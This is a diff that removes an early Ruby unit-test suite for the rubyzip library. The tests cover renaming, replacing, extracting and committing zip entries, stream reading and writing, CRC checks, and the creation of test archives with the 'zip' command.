ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_at(0) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - targetEntry = "targetEntryName" - zf = ZipFile.new(TEST_ZIP.zipName) - assert(! zf.entries.include?(nonEntry)) - assert_exception(ZipNoSuchEntryError) { - zf.rename(nonEntry, targetEntry) - } - zf.commit - assert(! zf.entries.include?(targetEntry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entryNames - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - unchangedEntries = TEST_ZIP.entryNames.dup - entryToReplace = unchangedEntries.delete_at(2) - newEntrySrcFilename = "ziptest.rb" - - zf = ZipFile.new(TEST_ZIP.zipName) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zipName) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zipName) - zf.add("okToDelete.txt", "okToDelete.txt") - assertContains(zf, "okToDelete.txt") - zf.commit - File.move("okToDelete.txt", "okToDeleteMoved.txt") - assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zipName) -# zf.close -# assert_exception(IOError) { -# zf.extract(TEST_ZIP.entryNames.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assertContains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - - assertContains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assertNotContains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assertContains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) - } - assertNotContains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0]) - assertContains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assertContains(zf, filename) - } - - assertContains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assertContains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assertEntryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assertNotContains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists? EXTRACTED_FILENAME) - AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_exception(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equals(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true } - } - - assert(gotCalled) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipNoSuchEntryError) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_exception(ZipNoSuchEntryError) { - zf = ZipFile.new(TEST_ZIP.zipName) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def openZip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc) - end - - def extractTestDir(&aProc) - openZip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_exception(ZipDestinationFileExistsError) { extractTestDir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extractTestDir { - |entry, destPath| - gotCalled = true - assert_equals(TEST_OUT_NAME, destPath) - assert(entry.isDirectory) - true - } - assert(gotCalled) - assert(File.directory? TEST_OUT_NAME) - end -end - - -TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -exit if ARGV.index("recreateonly") != nil - -#require 'runit/cui/testrunner' -#RUNIT::CUI::TestRunner.run(ZipFileTest.suite) - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'rubyunit' -require 'zip' - -include Zip - -Dir.chdir "test" - -class AbstractInputStreamTest < RUNIT::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produceInput - read(100) - end - - def inputFinished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equals(TEST_LINES[0], @io.gets) - assert_equals(TEST_LINES[1], @io.gets) - assert_equals(TEST_LINES[2], @io.gets) - assert_equals(nil, @io.gets) - end - - def test_getsMultiCharSeperator - assert_equals("Hell", @io.gets("ll")) - assert_equals("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equals(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equals(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class ZipEntryTest < RUNIT::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equals(TEST_COMMENT, entry.comment) - assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) - assert_equals(TEST_CRC, entry.crc) - assert_equals(TEST_EXTRA, entry.extra) - assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod) - assert_equals(TEST_NAME, entry.name) - assert_equals(TEST_SIZE, entry.size) - assert_equals(TEST_ISDIRECTORY, entry.isDirectory) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equals(entry1, entry1) - assert_equals(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < RUNIT::TestCase - def test_readLocalEntryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zipName) { - |file| - entry = ZipEntry.readLocalEntry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressedSize) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size) - assert(! entry.isDirectory) - } - end - - def test_readLocalEntryFromNonZipFile - File.open("ziptest.rb") { - |file| - assert_equals(nil, ZipEntry.readLocalEntry(file)) - } - end - - def test_readLocalEntryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.readLocalEntry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") - compareLocalEntryHeaders(entry, entryReadLocal) - compareCDirEntryHeaders(entry, entryReadCentral) - end - - private - def compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.compressedSize , entry2.compressedSize) - assert_equals(entry1.crc , entry2.crc) - assert_equals(entry1.extra , entry2.extra) - assert_equals(entry1.compressionMethod, entry2.compressionMethod) - assert_equals(entry1.name , entry2.name) - assert_equals(entry1.size , entry2.size) - assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compareCDirEntryHeaders(entry1, entry2) - compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.comment, entry2.comment) - end - - def writeToFile(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.writeLocalEntry(f) } - File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f) } - end - - def readFromFile(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.readCDirEntry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText and @decompressor - - def test_readEverything - assert_equals(@refText, @decompressor.read) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.read(chunkSize)) - assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equals(0, @refText.size) - end -end - -class InflaterTest < RUNIT::TestCase - include DecompressorTests - - def setup - @file = File.new("file1.txt.deflatedData", "rb") - @refText="" - File.open("file1.txt") { |f| @refText = f.read } - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < RUNIT::TestCase - include DecompressorTests - TEST_FILE="file1.txt" - def setup - @file = File.new(TEST_FILE) - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assertNextEntry(filename, zis) - assertEntry(filename, zis, zis.getNextEntry.name) - end - - def assertEntry(filename, zis, entryName) - assert_equals(filename, entryName) - assertEntryContentsForStream(filename, zis, entryName) - end - - def assertEntryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end - end - } - end - - def AssertEntry.assertContents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equals(expected, actual) - end - end - end - - def assertStreamContents(zis, testZipFile) - assert(zis != nil) - testZipFile.entryNames.each { - |entryName| - assertNextEntry(entryName, zis) - } - assert_equals(nil, zis.getNextEntry) - end - - def assertTestZipContents(testZipFile) - ZipInputStream.open(testZipFile.zipName) { - |zis| - assertStreamContents(zis, testZipFile) - } - end - - def assertEntryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.getInputStream(entryName) - assertEntryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < RUNIT::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name) - assert_equals(0, entry.size) - assert_equals(nil, zis.gets) - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name) - assert zis.gets.length > 0 - } - end - -end - -class TestFiles - RANDOM_ASCII_FILE1 = "randomAscii1.txt" - RANDOM_ASCII_FILE2 = "randomAscii2.txt" - RANDOM_ASCII_FILE3 = "randomAscii3.txt" - RANDOM_BINARY_FILE1 = "randomBinary1.bin" - RANDOM_BINARY_FILE2 = "randomBinary2.bin" - - EMPTY_TEST_DIR = "emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.createTestFiles(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) - } - - ensureDir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.createRandomAscii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.createRandomBinary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand.to_a.pack("V") - end - } - end - - def TestFiles.ensureDir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zipName, :entryNames, :comment - - def initialize(zipName, entryNames, comment = "") - @zipName=zipName - @entryNames=entryNames - @comment = comment - end - - def TestZipFile.createTestZips(recreate) - files = Dir.entries(".") - if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") - raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") - - File.open("empty.txt", "w") {} - - File.open("short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("ziptest.rb") { |file| ziptestTxt=file.read } - File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end - } - raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("empty.zip", []) - TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) - TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -class AbstractOutputStreamTest < RUNIT::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equals("a little string", @outputStream.buffer) - assert_equals("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equals("a little string. a little more", @outputStream.buffer) - assert_equals(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equals("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equals("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equals("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equals("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equals("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equals("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equals("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equals("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equals("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equals("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -module CrcTest - def runCrcTest(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = AbstractOutputStreamTest::TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equals(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < RUNIT::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equals(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equals(compressor.size, t1.size) - - compressor << t2 - assert_equals(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equals(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - runCrcTest(PassThruCompressor) - end -end - -class DeflaterTest < RUNIT::TestCase - include CrcTest - - def test_outputOperator - txt = loadFile("ziptest.rb") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equals(txt, inflatedTxt) - end - - private - def loadFile(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equals(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.read - } - end - - def test_crc - runCrcTest(Deflater) - end -end - -class ZipOutputStreamTest < RUNIT::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zipName) - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - zos.close - assertTestZipContents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zipName) { - |zos| - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - } - assertTestZipContents(TEST_ZIP) - end - - def test_writingToClosedStream - assertIOErrorInClosedStream { |zos| zos << "hello world" } - assertIOErrorInClosedStream { |zos| zos.puts "hello world" } - assertIOErrorInClosedStream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") - end - end - - def assertIOErrorInClosedStream - assert_exception(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def writeTestZip(zos) - TEST_ZIP.entryNames.each { - |entryName| - zos.putNextEntry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compareEnumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, index| - return false unless yield(element, otherAsArray[index]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < RUNIT::TestCase - - def test_readFromStream - File.open("testDirectory.bin", "rb") { - |file| - entry = ZipEntry.readCDirEntry(file) - - assert_equals("longAscii.txt", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(106490, entry.size) - assert_equals(3784, entry.compressedSize) - assert_equals(0xfcd1799c, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("empty.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(0, entry.size) - assert_equals(0, entry.compressedSize) - assert_equals(0x0, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("short.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(6, entry.size) - assert_equals(6, entry.compressedSize) - assert_equals(0xbb76fe69, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("longBinary.bin", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(1000024, entry.size) - assert_equals(70847, entry.compressedSize) - assert_equals(0x10da7d59, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# 